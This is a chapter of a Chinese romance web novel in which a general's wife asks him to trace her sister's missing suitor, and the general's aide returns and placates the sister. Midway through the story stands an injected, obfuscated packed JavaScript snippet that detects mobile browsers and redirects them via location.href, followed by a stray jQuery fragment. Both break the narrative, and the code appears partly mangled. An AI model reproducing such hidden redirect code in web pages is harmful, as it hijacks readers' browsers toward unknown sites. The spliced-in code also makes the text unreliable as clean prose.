北月竹 作品

56. 第 56 章

徐昭刚午睡起来,夏日炎热,他作为习武之人更深受其扰,午睡时便脱去上衣敞亮躺在床上。


这不,他醒来便听到院子里哒哒哒的声音,伴随着大门哐当当的撞击声,连忙拉过床边衣架上挂好的单衣披上身,衣带还没系好,大门被一脚踢开。刹时,灼热的午后阳光照进屋内,将房里的一应陈设连同衣衫不整的男人一起照得敞亮。


徐昭红着耳尖加快了手上的动作,系好衣带后又披了件薄衫才觉得身上不再凉飕飕,安全感倍增。


白云起自然也将这些动作收入眼里,可现在怒气冲冲的她根本不在意什么饱满的胸肌、劲瘦的细腰以及排列整齐的八块腹肌,满脑子都是将那杀千刀的贼子逮出来五马分尸!


徐昭娇羞防范了个寂寞,带着些许孔雀开屏却被无视的落寞靠近满身燥意的夫人,小心询问:“可是梦魇了?”


白云起摇了摇丝毫未散乱的发丝,后脚一勾把门带上,拉着徐昭没藏好的衣带把人强行拽到床边。


她还怕压不住声气走漏风声,干脆将床边的纱帘一并扯下,薄又透的淡绿色帷幕给两人拦出了一小方天地。


静悄悄的。


徐昭也静悄悄的脸红了,双手拦在胸前,像个要被无耻流氓轻薄的清白少女,哆哆嗦嗦地想,当初不是有约在先,只做搭伙夫妻吗,怎么现在突然又改变了主意,其实也不是不行吧,就是这事能不能放在入夜后再来,白日宣淫终归不是君子所为……


白云起并不知身旁这浑身滚红、散发热意的男人在想什么,只当是他的体热之症又发作了,便挪了两屁股拉开距离,并将男人伸出挽留的手压下,郑重其事道:“我有事想求将军。”


啊?


他都想好宽衣解带的顺序以及完事后敷衍方修远的借口了,你就说这个?


徐昭一张俊脸又青又红的,一口银牙差点咬碎,好半响才憋出话来:“……何事。”


白云起又扭屁股挨近了两分,凑到男人耳边嘀嘀咕咕:“云落在宝华寺修养时曾与一书生定情,两人约好书生高中后便上门提亲,可如今离放榜之日也有数月了,竟是丝毫消息也没有。”


“云起这几日便是因此低落,我想求将军找到那书生。”


徐昭被身旁的人挤得身子不稳,一手靠后撑在床沿,一手搭着她的细腰借力,闻言眉头一皱,委婉道:“或许,是那书生落榜,无颜再见云落。”


“就算如此,怎么也得递个消息告知一二,就这样消失算什么?”白云起激动地又往前一蹭压着他,白嫩小手搭在床沿与另一只大手挨得极近,“我妹妹又不是非他不可,只是这事总得有个了断,若此时不解决,往后便留下个易燃的引子。”


徐昭懂了,就算不懂,这事从她口中一出那便是不懂也得做:“我知晓了,这事我会交给亲信去办。”


白云起满意一笑:“这便好,多谢将军。”


“你我夫妻之间,不必如此。”


两人客套来客套去的,白云起终于从某人身边下来了,将床帘一撩,十分自然地走了出去。


她心情极好,一脚踹开大门,又忘记了关门,独留徐大将军一人跌坐在帐中凌乱。


……怎么感觉像是被占便宜了呢?


徐昭猛得摇头,将莫名升起的羞涩情态给摇走,伸手打了响指。


几息后,一道黑影从正开的大门蹿了进来,正是黑衣黑脸的方修远。


徐昭:嗯?


他看着属下难得板着的脸,疑道:“谁惹你了?”


方修远嗡声嗡气地答话:“没有。”


“……行吧,”爱咋咋地,徐昭转而交代正事,“有一件事要交给你办。”


……


白云起是在方修远走后的次日才意识到徐昭口中的亲信是这位。


虽然说交给人品贵重的方副官她是极为放心的,但却不由得想,徐大将军身边是没有别的亲信了吗?


赵乐志、黄茯苓一事是他,这次又是他,果真是“亲信”。


山上小院少了一人,俩夫妇视而不见过得逍遥自在,只有白云落会偶尔问起这人的行踪。


白云起咬着筷子思考:“他啊,应该快回来了吧。”


白云落松了口气,将碗里戳成马蜂窝的白馒头掰开一点塞进嘴里。


“也说不准。”徐昭突然说道,在小姨子突然紧张的眼神中给夫人夹菜,“他这人无肉不欢,好不容易找到机会下山,怕是不会这么快回来。”


白云起也想起了:“是啊,将军还和我打赌,说修远一天也呆不下去,看来将军还不够了解自己手下的人呐。”


“这次是他行事反常。”


“啊好好好。”


白云落食不下咽,味同嚼蜡,脸色也阴沉沉的,徐昭打眼看去,只觉得像极了前段日子她给自己使绊子的那德行。


饭后,许是心情不好,白云起又故技重施挤兑姐夫,自己一人独占姐姐。


但这次徐昭没生气,看着两姐妹离去的背影若有所思。


他好像找到制衡这位的法子了。


某日晨起,白云落先一步溜出了院子。


只要在外面逛上几圈,回去时就可说用过早膳了,多少能逃一顿饭。


这样也多少能将午膳吃得八九不离十。


妙哉。


白云落打着小算盘,心情难得地好了起来。


可惜那饭桶不在,不然也不必废这些功夫。


她还念着饭桶的好,一时便没注意眼前路,精致的绣花鞋带着身子一转,白净的额头“咚”地撞上一堵墙,变得又粉又亮。


白云落忍痛后退几步,抬起手想摸摸脑门上的包,火辣辣的脑门却先被一阵凉意覆盖。


蒙住脑门的东西像是一块未经打磨的冷玉,还带着点点糙意,自发在包上慢慢揉着。


脑门的包一连被揉了几下,白云落才回过神来抬头往上看,便对上一双黑眼,定定地看着她。


“饭……方副官?”


“你是想叫饭桶吧。”


白云落后退两步拉开距离,理了理凌乱的额发:“你怎么回来了。”


方修远上前一步:“我为何不能回来?”


白云落看了眼这人,只觉得几天不见憨厚老实的饭桶怎么变得有点怪里怪气的,似乎变成家丁口中又臭又酸的潲水桶了。


她心情一下便不好了,冷冷道:“方大人会错意了,您的去留哪是我能置喙的。”


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15188854|165001||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


又生气了哟。


方修远扯了扯嘴角,熟练地开始哄人。


首先,要把生气的二小姐从千里之外给拉过来


方修远伸手去拉她的袖子,在预见她手肘往后一拐时灵敏地往前一抓,拉住细细的胳膊肘往自己身前一拉,同时躲过往腰间来的肘击。


“对付男人要用脚猛踹下三路,你手的力气小,打不疼。”


白云落的回应是学以致用的撩阴腿,要不说教会徒弟饿死师父呢,还好他这个老不尊的师父还藏了点门道。


方修远劲腰往右一闪,绣花鞋便擦着衣袍边踹了过去,什么也没踹着。


第二步,要让这恼羞成怒的小姑娘能听进去解释的话。


两只大手捧着白云落的巴掌瓜子脸,方修远微微低头小声细哄:“将军派我去做事,这事做完了,你们又还在山上,我当然要回来了。”


第三步,转移注意力。


白云落亮出指甲去揪他手上的糙肉,逮着点皮就开始使劲的拧,不要钱的掐。


疼得方修远脸都白了,硬是忍着不撒手,哆哆嗦嗦地继续说:“你就不想知道将军派我去做什么吗?”


“不想。”她似乎是从指甲盖下的肉找到了乐趣,脸也不冷了,眼睛里还带着点好奇与笑意,似乎是想知道这样的疼能让饭桶抗多久能松手,便一直用力掐着。


方修远终于绷不住了,率先松开手后退几步拉开距离。


指甲盖下骤然少了块肉充实,白云落忍不住追了两步,看着那小块发红的肉若有所思:“和踹那里比,哪个更疼?”


方修远欲言又止,咱就是说,非要拿这俩来比吗?


不管是哪个,都是他最疼啊。


白云落神采奕奕的眸子告诉他,很有意思!


“……还是□□更疼吧。”


白云落决定下次找个机会在饭桶身上试一试。


她往回走,没管身后的男人,像是料定了这人会哈巴狗似的跟上。


饭桶回来了就好,吃不完的饭有了指望,也就不必在外溜圈浪费时间了。


两人回到院子,徐昭见他回来也不意外,两人又进厢房详谈。


屋里桌上有小沙弥刚送来的解暑凉茶,徐昭还没喝,顺手递给了辛苦办事的副官以示嘉奖。


方修远一饮而尽,被苦涩的凉茶弄得鼻子不是鼻子、眼睛不似眼睛,整个五官皱成一团。


苦得他忍不住想要掏喉咙催吐,却被将军给一把抓住蠢蠢欲动的手。


徐昭面露嫌弃:“男子汉大丈夫,喝口凉茶就成这样了?”


“这和郭大夫开的药有得一拼了!”郭大夫是西北军营的军医,一碗小药水药得将领士兵见之闻风伤胆,一个个在战场上既英勇又惜命,生怕受了伤回去被灌汤药。


徐昭差点没憋住笑,前两天他火气大,额角冒了两颗小痘,一不小心被眼尖的夫人瞧见了,便招来了这要命的凉茶。


偏偏夫人还每日监督着他,估计一会就会来检查茶碗空了没。


徐昭作正经状:“这还是你嫂子特意给我要的败火茶,你喝了我喝什么。”


方修远冷眼旁观:“那我吐出来还给你?”


“不要。”